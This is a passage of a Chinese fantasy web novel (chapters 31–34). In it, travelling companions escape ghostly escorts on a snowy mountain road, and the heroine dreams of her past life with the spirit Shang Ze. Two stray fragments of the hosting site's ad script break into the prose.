麦子真是无语:“我来就是为了你家小姐,还能半路跑了不成?我给你说啊,再动不动拔刀,外面那俩可是能悄悄给你们下咒。” 浔佩本就是一时急上了头,伸手的时候就觉得不妥了,可做都做了,自己否定自己失了面子,于是收起长刀磕巴道:“那只要你们治好了我家小姐,有重赏。” 麦子两人在那里尬着,芩竹两人感受马车里的暖意,出口提醒了下,才戳破这僵持的景象。 几人去车外看麦子抓药,车队一些护卫张罗着架柴等着熬药。这期间,芩竹她们就被留在柴火旁边,说好听点是留下来吃饭,说难听点是浔佩怕麦子医术不好,治坏了她家小姐,要留下来当人质的。 姜绾还是挺担心,一顿饭吃的战战兢兢,埋头喝着碗里的稀汤,时不时看眼不远处那辆马车的动静。 从天未亮等到日头高升,浔佩终于下来,芩竹望过去,那人看起来步子都活跃了不少,神色带着轻松,看起来是没事了,过来后清清嗓子,说,她家小姐请她们过去一趟。 还是那个车厢,只不过血腥味没有了,车内是收拾出来的另一道清新香气,那姑娘靠坐在榻上,见她们来了,撑起身子向她们笑道:“身子不便,不能起身相谢,还请三位见谅。” 她说话也温温柔柔,带着病体的缘故,话音放得很轻,好像说多了会累似的,笑一下都是用了很大的力气:“浔佩冒犯了你们,姑娘们却不计前嫌屡次相救,实在是大恩。听浔佩已然许给了你们谢礼,只管向她提。我这里……” 她把手里的一个令牌交给芩竹,说:“这令牌可让姑娘在峡州过得顺遂些,若是拿着不舒心,就当了换些盘缠,都是可以的。” 芩竹三人头一次受这么多礼一时间有些懵,愣了愣后才急忙道谢,姜绾不太好意思地挠挠头,说:“姑娘您客气了,救人一命胜造七级浮屠,也是缘分,不知姑娘姓甚名谁,当交个朋友了。” 麦子手肘悄悄撞了她一下,想说这种大户人家的小姐还是不要招惹的好,就听那边姑娘十分自然地开口:“你们可以叫我锦书。” 麦子一愣,没想到这位大小姐还挺好相处,只好收回手笑笑,也将自己人介绍一番。 锦书似乎是很久没有和人痛快的聊过,听她们说话时一脸的认真,还要邀请她们坐下来,而被如此热情款待的三人却有点招架不住了,忙忙推辞,说自己还要赶路。 “不知你们要去往何处,如果不嫌弃,不妨由我稍带你们一程?”锦书道。 31. 阴者路 这可真是一桩美事从天而降,姜绾开心坏了,把她们要去的大致方位告知给锦书,得知她们刚好同路,两边都是心情大好,锦书的邀请不用再推辞,她们便安心地坐在这车厢里,冻麻的手脚终于得到缓和,三人长舒一口气。 她们这边处理完事情,车队也收拾妥当,准备出发。 锦书的这辆亲自马车原来是由浔佩驾驶的,那丫头比芩竹小一些,一举一动却又和长辈似的,也只有面对着锦书的时候才有点这个年龄的实感。 锦书对此也是笑,她倒是很了解自己手下这帮人,帮着数落了两句,再开脱两句,把芩竹她们哄一哄,外面赶车的那位也哄一哄。 车厢里也就是聊些世间见闻,两边都没有打听对方的动向,相处起来还算融洽。 越向北面行驶雪越大,车队行驶的越慢,原本一日能到的路程这么算来可能等入夜都到不了,车内的人难免有些焦虑。 因这气氛,原本聊天的几人也渐渐沉默,无言地坐在一处。 芩竹正认真地剥手上的葡萄皮,剥一个喂到嘴里,再把皮交给腿面上那个躺平的布人手里,看他随手一丢,扔在旁边矮桌的小碟里。 一番动作做得偷摸又光明正大,挡在她身边的姜绾十分无语,默默坐直了点。 芩竹察觉到她的动作,顺手塞给她两个葡萄,眼神看过去,刚好瞧见锦书手腕上那个红绳。 那人靠坐在塌边看书,手腕露出来,红绳和黑色的小珠子被那截冷白的手腕衬得格外显眼。芩竹对那珠子印象很深,这会看见了就问了一嘴。 锦书似是没想到芩竹会主动和她搭话,表情新奇了点,听清她话的内容后直起了身道:“这个呀。是爹爹从玄英真君那求来的平安珠,都是石方县那边的人常带,你们如果感兴趣,我也可以帮你们带一个。” “没事,不用了,谢谢。” 芩竹也没想到她这一个问题得到锦书这么长的一句话,只好拒绝,只不过她嘴里的那位玄英真君…… “怎么没有听过这位神仙的名号?”麦子问。 锦书的邀请被拒绝也不生气,还是那般平缓的热络感:“我从前也不知道,但听爹爹说,三年前国师能那般神奇解救峡州百姓,就是因为借了玄英真君的神力。” 又是这般神乎其神的说法。 芩竹这样想着,轻轻呼出一口气,伸手点了点腿面那个布人的脸,被一只短手拍开,她就换了另一只手点,那布人不动了,任她在身上弹琴似的动作。 灵体在布人里面酥酥麻麻的,商则虽然难受,但竟然奇迹般地体会到了一阵安心,两个豆豆眼直直看着芩竹的……下巴。 他的眼神灼热,芩竹停下动作低头,做了个口型:怎么了? 商则也做口型——做不出来,于是他扑腾了一下,企图翻身而起直冲她肩头,被芩竹提前预感,一巴掌重新按回去。 “唔唔……” 姜绾震惊回头,眼珠瞪向芩竹,后者神色坦然,轻声道:“不小心。”麦子在对面上下扫视那俩人,冷哼一声,低头吃自己的,只有榻上的锦书不知道发生了什么,茫然地问:“怎么了?” “哈哈,没事没事……”姜绾赔笑着说,结果话还没说完,马车忽然前后摇晃着急停。 商则恰好在芩竹手心里挣扎着,这一停,芩竹手上的劲松了,他的那点挣扎力道正好够从她手中飞出,又恰好,浔佩掀开车帘探头进来,布人就在芩竹眼皮子底下,十分丝滑地跌出了马车。 商则还有目睹了一切的姜绾和麦子:…… 浔佩倒是看见有东西从她身边擦过,不过她急着说事,也没空搭理:“小姐,你在车里坐着千万别出来,我去前面问问。” 锦书面色严肃点头,又温声对旁边几人道:“可能又是山匪拦路,你们不用怕,浔佩他们能处理好。” “又是?”姜绾疑惑。 “是。”锦书没有解释,只是肯定她的话,余光看见芩竹起身,忙道,“秦姑娘,要不等浔佩回来再下车也不迟?” 这声秦姑娘喊得着实叫人迷惑,芩竹都走到帘跟前了才反应过来是在喊自己,忙转身回答:“我怕他闯祸,马上回来。” 锦书比她还迷惑,谁?闯祸?那个布娃娃? “啊……江湖高人,总有些小癖好,锦书小姐多担待。”姜绾和麦子微笑道。 车厢外,天色昏暗,一片冰天雪地。 右边是陡峭的山壁,一边是深不见底的山崖,这条山路大概宽能容纳两辆马车,可尽管如此,身边空旷山谷的风也让人心慌,像是一不小心就要栽下去似的。 山里风雪很大,猛地从温暖坠入严寒,芩竹一瞬间感觉身体都没法动弹,僵在门口适应了下,才跳下车。 脚下是泥土和雪混出的脏污车辙印,前面的马车旁,站着四五个护卫。 应当是在警惕浔佩口中的山匪。 芩竹没有理会,压低声音喊着商则的名字。 那家伙身子发灰,掺在这脏兮兮的雪地里,真像是成心捉迷藏,她在前面转了一圈都没找到。 此时快二更天,只有车前的红灯笼在风中晃荡着映出一片昏黄的光,芩竹眼看着再找就要摸到前面马车了,干脆作罢,反身坐在浔佩原本驾车的地方,“守车待则”。 然而“则”没有等到,等到了慌张的浔佩。 那丫头依旧不把锦书之外的人当人,看见芩竹挡着车厢口,直接掀开另半边车帘,朝里面喊:“小姐,前面好像不是山匪,来了另一队车马,上面……上面挂着鬼火。” 说是鬼火,也就是把所有不发红光的火称之为鬼火。车里面的人就是这么想,毕竟都没到三更,怎么可能撞鬼。 但浔佩肯定极了:“前面探路的说,最开始远远看着有一群,以为是山匪,就想着回来通知我们戒备。 回程时又回头看了眼,就见那伙人突然壮大了,仔细看着,打头两人提着的灯泛着绿,一行人走的飘忽,绿恍恍,阴森森,大雪天穿得那般单薄,一看就不正常。” 旁边的芩竹闻言低头瞅了下,抬头时见浔佩的目光在自己身上扫过,又极不自在地扭头清了清嗓子继续说:“小姐,咱是掉头还是……” “不用,让他们都回车上呆着,别闹出动静,安静等着那伙人过来再说。”锦书沉声吩咐。 芩竹放在膝盖上的手指点了点,等浔佩下去传话,直接扬声道:“还不出来?” “我在等你什么时候找到我。”一道声音传过来,似乎和她处于同一位置。 芩竹疑惑,坐直身子四处转着看了看:“找不到,你再不出来,等会小心被收了去。” “我都说了我不是鬼——”那声音颇为幽怨,末了顿顿,然后无奈道,“在下面。” 原来他是在车轮碾出的一道厚雪旁边,天太黑颜色又像,芩竹才没看到,这番提醒下,那布人终于摆脱雪堆,重回温暖的怀抱。 “你消停点吧,再这样下去就自己给自己缝新身子。”芩竹提着那布人的两条腿,抡起来拍在胳膊上,砸掉布人身上的雪。 砸得第一下时,旁边透来一股凉意,身边出现道红色身影,干巴巴的语调响在耳侧:“我还在里面,这么打会把我打死。” 布人刚才浸在雪堆,里面塞得布条早就湿得不成样子,芩竹也没法拯救,只能扔给商则:“拿着,你自己干的。” “是你没把我抓住。”商则遵命给自己烤火。 “也是,那对不起。”芩竹撑着手往后坐了坐靠在车门框上。 商则:…… 从前面来的浔佩回来,看见商则时及不易察 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“你知道他们是什么吗?”芩竹小声偏头问。 “不清楚,反正不是活人。”商则不甚在意地说。 后面的帘子被揭开了一条缝,缝隙中从上到下挤了三个小脑袋,听见商则的话,最下面的小脑袋说:“我之前听村长婆婆说过,世间有阴兵借道这一说,会不会就是这个。” “战场上的亡魂?”麦子在最上面问。 “也不是吧,可能哪里都有迷路的亡魂,尤其是这种大雪天莫名造了劫的,大雪茫茫谁找的到路,就需要阴差来接一下。”姜绾在下面回答。 而中间的浔佩听得一身鸡皮疙瘩,提起声道:“说这些做什么,赶紧进来!” 芩竹这才清楚她们三个冒头出来是干什么的,刚适应了外面的温度又要进去里面未免觉得闷热,但看那鬼火,防止出什么事端,她还是跟着钻了进去。 在车厢里,腰间的碎块又震起来。 想必是前方的鬼火阴气太重所致,她压下碎块说了声“没事”坐下,可又觉得不太一样,悄声将商则唤过来:“你身上的阴气会不会把那些鬼火引来?” 商则难得的犹豫了下,芩竹一顿,果断把他从肩头摘下来就要顺着窗子丢出去,刚一揭开车帘,余光就扫到车前方的一团火,又急忙收回手。 她这一系列动作看的人莫名,但姜绾在旁边却品出了一丝不对劲,并且很快猜到了芩竹的用意,闷头就掏符纸以防万一。 商则抱着芩竹的手指不撒手,也不装死了,急道:“不会的,他们害怕都来不及,怎么可能会上赶着来找我!” 他这般提高声量说话带着十足少年气,听着温润又活跃,很好相处的样子,但问题来了,车厢里哪里来的男人,锦书倒是还好,浔佩就不一样了,指着芩竹就说:“好啊,那男的是在你身上,什么高人,原来是个养小鬼的。” 和商则待一起的谁不知道他最在意说他是鬼这件事,这下都不用他又一次不顾别人出声,姜绾和麦子就已经先一步解释:“不是不是,看到她的腰牌了吗,其实是个器灵来着。” 芩竹点头。 她们在车厢里说话的功夫,外面的人已然走到了旁边,鬼火都能透过窗上的厚帘映进来,众人见状,赶忙住嘴。 安静了一会,估摸着时间那些人快要过去,浔佩想贴着窗口听一听,却忽然身子一晃,差点向前栽去,她扶着窗框懵然抬眼,回头瞧旁边的人,个个脸色都不太好看,才接受了这个不太美妙的现实。 她没晃,而是马车动了,还是在向后移动。 死一般的寂静中,一道似风雪般冷冽的声音异常平淡道:“谁刚才说的会躲着他走来着。” “我。抱歉。” 32. 阴者路 风雪中,一条朝东的车队正在被奇怪的火光牵引着原路往西移动,拉车的马无知无觉,四条腿做的是向前的步伐,实际却也是和车一样往后退着。 车中的人都慌乱极了,纷纷掀开车帘探头出去。 车队两边是提着灯的虚晃人影,隐藏在夜色中,看不清样貌和服饰,唯一清晰的只有那盏灯,随着步伐一摆一摆。 灯摆一下,看的人眼中那光影也摆一下,然后影子拉的长了些,慢了些,渐渐地,瞳孔中就全是那灯火的颜色。 锦书车厢中的几人不安地坐着,出也不是待着也不是,最终还是浔佩吞咽了下,不确定道:“你们说,我们会被带到哪里去?” “阴差阴差,你说呢……”姜绾斟酌回复。 浔佩坐在锦书塌边扶着人,急道:“那只小鬼,现在扔下去还来得及吗!” 被点到的人是芩竹,她低头看看死抱着自己手指的商则,甩了几下,那布人还稳当地挂着,干脆伸出手给浔佩看,替他辩驳了句:“他应该不会骗我。” 商则一边冲着芩竹用力点头,一边在别人看不到的地方冲浔佩挥了两下爪子,按理说很凶狠,奈何他如今这个形象,实在没有一点威慑作用,浔佩只觉得他挑衅。 芩竹自是不知道这些的,只能看到浔佩忽然气鼓鼓地对着她,不过这丫头似乎对她印象一直不太好,所以也没放在心上,把手翻过来对商则道:“你出去看一下什么情况。” “好。”布人现在倒是很听话,顺着芩竹的手指一跳,翻出窗框。 锦书眼睛亮亮地看着布人的动作,叹道:“竟如此神奇。”浔佩扶着她的肩膀表情说不上好,但听自家小姐这么说还是没有反驳,顺着她的话干巴巴地应了句是。 不多时,车帘被掀开了,一只爪子挂在窗框上,布人的身体被风吹得在外面乱飘,坐在窗边的麦子便伸手接了下,提着那只手把他扔回芩竹的肩上。 “前面的阴差把这条车队当成亡灵了。把打头的阴差引开,再将车队整个用法子隔出他们视线里就成。”商则说着,又看向姜绾,对她道:“这期间,你千万不能出去。” “我保证不出去。”姜绾问都不问,缩在软垫里面,抱紧包袱,听话的不是一星半点。 这样子落在锦书眼里实在觉得可爱,悄悄笑了下,而浔佩则是迷惑,问了句“为什么”。 麦子试探着回答:“她身上阳气太重?”记得路上有一次芩竹她们提过,姜绾得这一身法器滋养。 解释了又像没有解释,浔佩还是一无所知,干脆就不问了,而商则也没有要继续的打算,转而给芩竹说:“让她们坐着吧,咱们去,带个包袱。”说罢扭头看向姜绾。 芩竹出门一向轻便,说的包袱是谁的不言而喻,姜绾也非常知趣,大手一挥,把包袱丢给她自己当甩手掌柜,但芩竹还有点不太放心:“我也是人。” “可你和我呆久了,味道不明显,没关系的。”商则学着她的语调,在她肩头蹦了两下。 芩竹无法,缓缓钻了出去,扶着车顶立在诡异后行的车前:“看马倒着跑倒是头一次……” 左右的黑影见她出来也是头部轻微地转了下,又重新直视前方,鬼火一窜一窜,芩竹盯着看了会才意识到这条路现在很黑,原本挂在车前的灯也早就灭了。 肩头的布人忽然栽下去,芩竹猛地回神抬手去接。 她左手攀着车顶,身子微侧,布人摔去了右前方,右手只需一抬就能接到,事实也的确如此,只不过她的手是托着另一个人的手接住的那布人。 某个红衣小鬼显出了实体,就立在芩竹身后,她扭头看过去,那人也刚好回看过来。 商则握着布人的手指紧了紧,暗红色的眼眸和山崖底似的眸子对视一瞬,很快移开,将那个布人反手塞进芩竹手中,道:“我……” “我们从前认识。” 突然,芩竹肯定地道出一句不合时宜的话,然后便收起布人,丝毫没有商则那般的局促,慢悠悠地说:“之前的事我还挺好奇的。” 原本一脸疑惑的商则听到这句话不知触动到了哪根神经,忽然整个人都活泛了。 眼前的人,本该是对什么都不会有多余的情绪,但她竟然说好奇,好奇我们的前缘。商则想着。 所以就算是他再不喜欢那些碎块,他也要找回来。 “我也好奇。” 芩竹看着这语气莫名欣喜的小红鬼,看他兴奋得衣服都亮了个度一样,而她却还和从前一样,反应平平:“所以,叫我出来做什么?” 商则如梦初醒,压低声音道:“姜绾活人气太重个,阴差发现她倒没事,就怕是阴差后面那一串亡人发现,会乱起来。还有——阴差找错了人真不是我的问题,是这条车队自己的问题。” 这倒是稀奇,芩竹虽是也知道商则不会在这种事情上糊弄她,可也想不到事情是出在这条车队自己身上,而且,锦书身边的人的确都是“人”啊,并未异常。 商则看她反应也大约能猜到她的想法,不屑道:“我最初也没觉得他们有什么威胁,刚才出去绕了圈回来才感觉到有些不同,细微得很,不易察觉。” 既是连他都察觉的困难,那若要现在从车队中人的身上解决想必更是艰难,芩竹转过身看向后方遥远的车队末尾,又瞅了眼动作姿态极为随意的商则,问:“你去还是我去?”说的是引开前面阴差的任务。 原本大雪中的干冷不知什么时候已经变成了阴寒,瘆得人不是打牙颤那么简单,再瞧瞧车队后方那些正在逐渐扭曲的的雪山,再不做点什么,估计就要无痛黄泉游了。 商则倒不是说不情愿做这些事,可能只是因为同这些人萍水相逢,所以实在上心不到哪里去,看起来才敷衍至极,芩竹看着他就觉得不靠谱,但偏偏内心又莫名地相信,一时间心情复杂的脑袋都差点没转过来弯。 这边商则在车檐一撑轻巧地翻身跃上车顶,半蹲着俯身过来要说些什么,被芩竹伸长胳膊戳去一边。 商则瞪圆眼睛,嘴角微微翘着出口却是委屈:“我现在是人啊,不是布做的了。” 芩竹真是没碰到过他这样的,打结的思绪也懒得整理,只能从根源上解决问题,仰起头看那只装样子的大红鬼,淡淡道:“干活去,你在这我有很多事想不明白。” “真的?!” 商则猛地往前一扑,没有搭着膝盖的手盖在芩竹放在车顶边的指尖处,好像不小心蹭到又极快地撤走,接着一下子站起来,发尾在身后张扬地甩了下,给她留下个眯眯眼的笑便飞快转身。 鲜红的发带飞扬,芩竹视野里,那红色化成一道流光,跃去车队最后不见了。 不知怎么,她竟然在那道光中看到了雀跃,而且没听错的话,这货走之前那两字也喊得特别高兴。 我有心事他竟这般开心。 而芩竹也没纠结多久,不知道那位是怎么引开阴差大人的,从芩竹这头看过去,只见车队后方突然腾起一朵红云,接着马车猛地停下,芩竹手上用力站稳,就看几道身影忽然窜上旁边的山体,呼啸的风猛地掠过耳侧,鬓边一缕碎发贴上脸颊又缓缓垂下,含着笑意的高呼被寒风卷来打在耳侧。 “马上回来。” 芩竹揉揉耳尖,迅速攀上车顶,扬手打出几道符纸,黄纸脱手便悬空停在车队两旁,泛出暗光,可这车队太长,四张符也只够前面几辆,而她这边的动作已然吸引来旁边两个守卫的黑影人。 那不知人鬼的家伙看到芩竹竟然掏符做起了这种事,浑身一震,原本低矮的身躯猛地暴涨,竟一下比马车还高出大半,黑乎乎的大手同一口大锅似的要将芩竹扣在里面。 见状,她立刻收起包袱后腿在车盖上用力一蹬,像一只轻盈的猫,贴着大手窜去了下一辆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 车顶,俯身趴下稳住身子后快速起身一连又越过两辆,将符纸召满整条车队。 芩竹站在中间,看着那大块头茫然地转了一圈失去了目标后重新变回原样,指引着其他的亡灵继续赶路。 这算是成了吧。 她将包袱系好跳下车,准备回到锦书的车厢,却在这时,前后的马车上同样跳下了几个人,就是方向有误,他们是想要跟着那个黑影守卫走,仔细一瞧,个个眼中都映着鬼火。 情况有变,芩竹也及时停步,拐回去捞住一个人往他头顶按了张符。 车中的麦子和浔佩也因为担心一路找到了车队靠后,刚好和拍符的芩竹碰面。 “把他们抓住,等后面的“人”走了就没事了。”芩竹交代着,顺带递给那两人一些符纸。 听见事情即将解决,气氛稍微轻松了些,麦子接手那些符纸的时候还开玩笑:“给姜绾看见了不知道心疼成什么样。” 浔佩捏着符纸左瞧右瞧,寒风天里捏着它不怎么在意地扇了扇,结果打了个喷嚏惹得剩下两人眼神奇异地看过来,她立刻哼道:“就这破纸……等回去了,我家小姐能给你们做十辆。” 麦子掀起眼皮瞄了她一眼,话却是对着芩竹说:“是啊芩竹,要不是这破纸她说不定还能在黄泉里游个来回呢。”然后才看向浔佩:“这可是你说的,等回去我就去问你家小姐要。” 浔佩怎么可能不知道麦子在损人,但事实如此,她梗着脖子一扭头,愤愤地把手上的破纸挨个拍在乱跑的人头上,隐隐有点上头的趋势,每一下都发出不小的声音,听得麦子牙疼。 她又忍不住开口喊道:“年轻人火气别太大,要不我给你开点药?” “你!”浔佩拍完手上的活,转身就要和她理论,扭头的那一瞬间,余光似乎看到什么向她们这边飞来,立刻捏紧腰间的佩刀,“什么东西!” “好像是——人?”麦子不太肯定,眯着眼睛打量着浔佩警惕的那个方向。 夜色黑沉,云遮住月,山路旁的山体又高,什么都看不清,浔佩望着的方向隐约闪出一抹亮光,这么看就像是一个发光的人从山上飞下,直冲她们而来。 一股巨大的压迫袭来,悬在车队两边的符纸急速震荡,快得都抖出了残影,芩竹眼神一沉,那不是商则去的方向吗。 光影迅速,眨眼间已至身前,浔佩只觉得现在握刀都成了困难,身上的劲被压得所剩无几,那光影不知道是什么来历,这架势看着像是要把整条车队都压死了打包回去一样。 眼看着撑在车队旁的符纸个个爆成粉末,三人胸口被大力压得喘不上气,真是要活活被挤扁在地上。 芩竹站在原地走动不了,千钧一发之际扯下了腰间的木牌,奋力朝着上空袭来的光影甩了过去。 那牌子明明是木制,此刻却发出了尖锐的撞击声,巨大的冲击自那撞击处荡开,木牌被击飞,芩竹和它为一体,也被这一击震得朝身后的马车砸去。 正当此时,山体上似乎又有什么东西飞了下来,光影与之相碰,那东西落地砸起一片雪尘,又瞬间消失化作一道红光直奔芩竹而去,先一步揽着她后背撞上马车。 车轮偏移,马长嘶一声,最后停下。一片混乱后,彻底安静。 “芩竹?” 商则不敢轻易给芩竹挪地方,两人就坐在冰冷的雪地里,他抱着怀里的人,那人闭着眼悄无声息,不论是疼痛还是什么,好像都是一脸的平静,活着死了都像是没差。 这点平静被芩竹鼻子里流出来的血破坏,商则皱眉,抬着她的下巴将人压靠在自己肩膀上,替她擦去,看向正在给芩竹把脉的麦子。 那人表情呆愣,把了几次脉之后又探向颈部,接着表情空白地望向商则。旁边的浔佩看她的动作,一狠心直接伸手去探芩竹的鼻息。 食指停留很久,什么也没有感觉到,人死了。 33. 前尘梦 小师妹?小师妹?醒醒…… 空中划过一道鹤鸣,有暖风刮过发丝,几声鸟叫过去,是一人在不停地喊她。 芩竹醒来,自己正趴在凉亭的石案上,看见面前的男人,问了声好:“云初师兄。” 江云初把一个漂亮的三层八角食盒放在桌上,笑道:“我一路提着这盒子过来,今儿这味道和昨日又不一样,你可真是捡了个宝,日子过得不错啊。” 芩竹把盒子打开摆在桌上,里面整齐码了不少吃食,个个精致喷香,光望着就食欲大增。 “师兄吃了吗?”她把那碗馄饨端出来喝了口汤,抽空问。 “我在厨房看小则做饭时蹭了点,唉……今晚应该也没法和你们一同吃饭了,有事要带着沈潭他们下山一趟。”江云初说着,捏走一个晶莹剔透的小包子,朝她扬了扬手,提着剑下山去了。 这亭子建在崖边,后方是几棵漂亮的桃树,前方是特意扫开的一片空地,再前面点是挂在树上的秋千,坐在上面发呆,能看到崖边的云雾,冒头的山尖,日升日落。 芩竹喝完汤,就坐在这,手里拿着个半大的酒壶喝酒。 现在是黄昏,鸟雀隐去四下寂寥,整座山头静得只有酒液撞在口腔的声音。 突然,身后传来唰唰声,是有人踩着草地奔来。 上山的这段路有节节石阶,这般不管不顾踏草而来的,也只有那个刚捡来的小商则。 芩竹侧头望去,一身灰朴朴的商则两三步跨到跟前,先是向亭子里看了眼,表情有些懊恼,才慢下步子走进去,不开心地啃下一口苹果:“你每次都不等我。” 商则愤愤嚼着,内心则是思索着如何能再加快收拾厨房的速度和缩短上山的时间,好赶得上和芩竹同坐着吃口饭。 “等你什么?”芩竹在对面的秋千上荡着,问他。 “等我一起吃啊,”商则回答,还不等芩竹继续问个所以然,他又说,“要不然,你直接让我在你这山头上开个小灶,也省的我——师兄来回跑了。” 他说着,抬头去看芩竹的反应,却被迷得愣住。 鲜花美人,自古以来都是被拿到一道说的。芩竹坐在树下,风一吹,衣诀飘飘,桃花打着旋飞下来,那人自翻飞的花瓣中看过来,更是衬得花逊色几分。 他不知道别人是如何想,但在他眼里,芩竹很像天上的仙人,不是那种名动天下的美人仙女,而是书上说的,话本里写的,不食人间烟火的神仙。 可说来惭愧,这样感觉也不是第一次就有,反而初见时,商则觉得她是个傻子。 但后来,他觉得自己错了。他看着芩竹,总觉得那人会在某个瞬间像吃了灵药的嫦娥一般奔着月亮而去,或就是突然阖眼,然后身体死去,其实是羽化登仙。 毕竟跟在芩竹身边的这些日子,她是真的说睡就睡。想到这,商则笑了下。 尽管自己莫名其妙冲着她傻笑,眼前人也没反应,就连出口的那句疑惑,都像是学着别人的口吻,公事公办地问出来。 “行不行?”商则摇摇头,趴在桌上重新问他刚才的那个问题。 这边芩竹根本不知道他想的那些,就见这人突然不怀好意地笑着看过来,也就随口回:“行。” 接着就不搭理他了,继续坐着发呆。 刚消停没一会,商则应该是吃完了饭,三步并作两步跑到她身后的山石上坐着,等她的秋千荡过来,就轻轻推一下,再过来,再推一下。 秋千上的人没事可干,他就也像闲得发慌。 “你昨日不是说,今日要去找谁学剑吗,天都快暗下来了。”芩竹瞧着云层中点点下坠的红日。 谁知这家伙听这事也不着急,反而就像遇见了什么喜事,展着笑颜说:“我说的话你都听见了?” “听见了。” “那你怎么听不出来我是想让你教我。”商则从身后的石块起身,坐在秋千下的小石上,盘着腿仰头问她,很像芩竹每次下山在巷子边看到的蔫巴流浪狗。 芩竹放下手,靠着秋千绑绳侧坐在木板上,腿边的衣摆刚好垂在商则眼前,那人就悄悄拽在手里,力度恰好叫她察觉。 “你也没说。”芩竹看见了,没有理会。 商则又向前挪了挪,坐在芩竹身边的草地上:“那只要我说了,你都能应我?” 这本来是句很不礼貌的话,可商则顶着那张纯良无害的脸,话中都带着试探,小心翼翼的,反而有点讨巧的感觉。 芩竹点点头:“我记得的话。” 毕竟在这里,商则的确也没资格做些什么,听不听得,还是全看芩竹自己的意愿。 但商则很高兴,他似乎莫名地信任芩竹。 “我说了啊,”商则清了清嗓子,叉着腰起身,两只手做了“请”的姿势对向那片凉亭,“等我一起吃个饭呗。” 芩竹:“那小灶呢?” 似是没想到芩竹会说起这个,商则噎了一下,摇摇头:“小灶……也能开!”得到了芩竹的同意。 “然后……然后能不能,我也想穿你这样的衣服,或者师兄那样的?” “要去山下做,我领你去,带上钱。”芩竹说完才想起来商则的处境,又问,你有钱吗?” 商则笑:“有,我在山上帮忙玄英顶也是要给我银子的,这些日子攒了点。” 芩竹真心实意道了声厉害,厉害在商则这人很奇怪。 她不是没有见过被师兄或者师父捡上山的,包括她自己也是。 头次来时,那些被带上山的孩子虽然还小,但也知道寄人篱下,个个乖巧懂事,小心翼翼,芩竹最开始也是这么学的,对她来说,这样做不会太过异类,省事许多。 直到后来师父收了她当弟子,顺带拆穿了她的谎言,她这才不装了。 而商则不同,他来此算是自己求得的,一路上闷不吭声,感觉天上地下没什么人值得他在乎,除了芩竹。 要不是长的乖,不对,装得乖,早就被师兄弟们揍出去了。 可说他高傲,他又舍得脸面,第二日就把山上的小厨房割出了一个位置来,虽说是给芩竹单独的小灶,惹得一伙人天天跟在厨房里蹭饭。 但说他活跃,也没到那个程度,整座山都跑遍了,帮了忙拿了钱就走,后来勾肩搭背的也只有芩竹身旁惯围着的几个师兄师姐。 已经很不错了,毕竟……在山上十几年,芩竹都没做到和他们开个玩笑,商则竟然能在第三日,和那伙人约了好几场架。 就在这崖边的小空地上。 就是商则场场 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 落败,再滚到芩竹脚边哼哼唧唧,被她公平地夸上两声。 总之,他在玄英顶上短短几日,已经混的比芩竹还风光了,起码没有人会专门等在厨房看她做饭…… “那就明日,刚好做完去找云初师兄他们在山下玩一圈?”商则说。 不过这个明日往后推迟了两天,原因是中途商则突然说要学剑,原本教他的那个弟子和江云初下山了,索性无事,芩竹便代劳了。 做衣服需要时间,想着江云初之前捡弟子时还送上几份礼,芩竹就掏了钱给那掌柜,说挑几套成衣给商则。 在内间量身长的人什么也不知道,突然被一堆衣服填满视线。 他扳着屏风探头出去,芩竹在隔间撑着脑袋昏昏欲睡。 快睡着的人自己和自己抗争一番醒了过来,还觉得奇怪,怎么最近精神越发不好。 正想着,旁边传来两声轻咳,她转眼望过去,商则站在面前适时转了一圈。 “怎么样?” 是他换了自己刚挑的衣服。 “合适。” 那人走了,换了另一套。 “不错。” 那人又走了。 芩竹认真看,商则也就认真换,俩人没一个不耐烦,就是苦了旁边的小伙计。 最后一套衣服,芩竹在心中想了一会,掏出了一个之前没用过的形容词——好看。 “好看?”商则愣愣重复了一遍,低头自己瞧了眼,随即转身看那伙计,“那就这个吧,做的衣服也都换成这个……额,色的。” 芩竹挤挤眼睛,还是困,干脆掏出酒壶喝酒,这一口倒是神思清明许多,揉了揉眼睛再看过去,就是商则一身鲜红,劲瘦高大的背影。 可真是字面意思上的眼前一亮啊,芩竹差点没回过神来。 我刚才说这个好看?好吧,是好看,穿着就穿着吧。 这时商则转过头来,低身和她坐在一起,芩竹就托着下巴,仔细打量着他。 可能是之前四处奔波的缘故,为了省事,商则的头发剪得很短,脑后的头发将将盖住后颈,而前面的则是到耳朵那般长,云沁师姐想办法给他修理也没处下手,只好随便找个绳子脑后系个短短的发尾。 思及此,芩竹便唤来人,拿了条发带过来,起身去商则跟前:“我看看你这头发,转过去。” “啊……”商则有点抗拒,可她来了,又乖乖照做,感觉她拆掉头上的发绳时,弱弱道,“剪坏了。” “是,太短了。”头发很顺,芩竹轻轻一拽绳子,前额便都散了下去,她又慢吞吞从商则的鼻梁前将那些头发揽回手中。 动作时,商则都不敢呼吸。 但芩竹还算麻利,没叫商则自己把自己憋死就退开了,然而就在商则缓缓吐出一口气的时候,头顶忽然被人极轻地按了两下。 商则一顿,下意识抚上发顶看过去,芩竹手还在半空,被他看着也不躲,反而更加透出一股心安理得,又揉着头发呼噜两下才走开。 这很正常,芩竹想,看向不远处的掌柜,商则还没缓过神来,也跟着看过去。 只见那掌柜的身边有只乖乖睡觉的小狗,经过的人没有十个也有八个,在那小狗的身上薅了两把。 商则:……我是狗!? 34. 前尘梦 自从那日给商则添置了衣物,他就像个开屏的孔雀,整座山都被他跑了个遍,逢人就说这是芩竹师姐给他买的,更有甚者一天碰他三次,话都不重样,好险没拉去给他驱魔。 就在商则第二次在藏书阁门口撞见江云初时,这位大师兄终于受不了了,捏着他的脖子把人提溜到了芩竹身边。 玄英顶在日央山里,藏在大雾中,占据了几座山峰,芩竹所在的山头,是他师父山头里最高最偏的一处,也是玄英顶最拐角的地方,离那正殿广场更别提有多远。 彼时芩竹就是刚从正殿那里回到自己的山头,消停没一会。 山门旁的一棵细树忽摇晃了两下,“咔嚓”一声折了,草丛里砸进来个人影。 江云初拍拍手,把商则送到后还做着说教的样子点了点他的额头:“什么时候打过沈潭,什么时候再出门显眼。” “啊——我怎么可能打得过沈师兄!”商则挠着旁边的篱笆。 江云初应该是有正事在身上,匆匆撂下这句话后,吹了个口哨,过了一会,沈潭就把刚踏出山门一步的商则踹了回去。 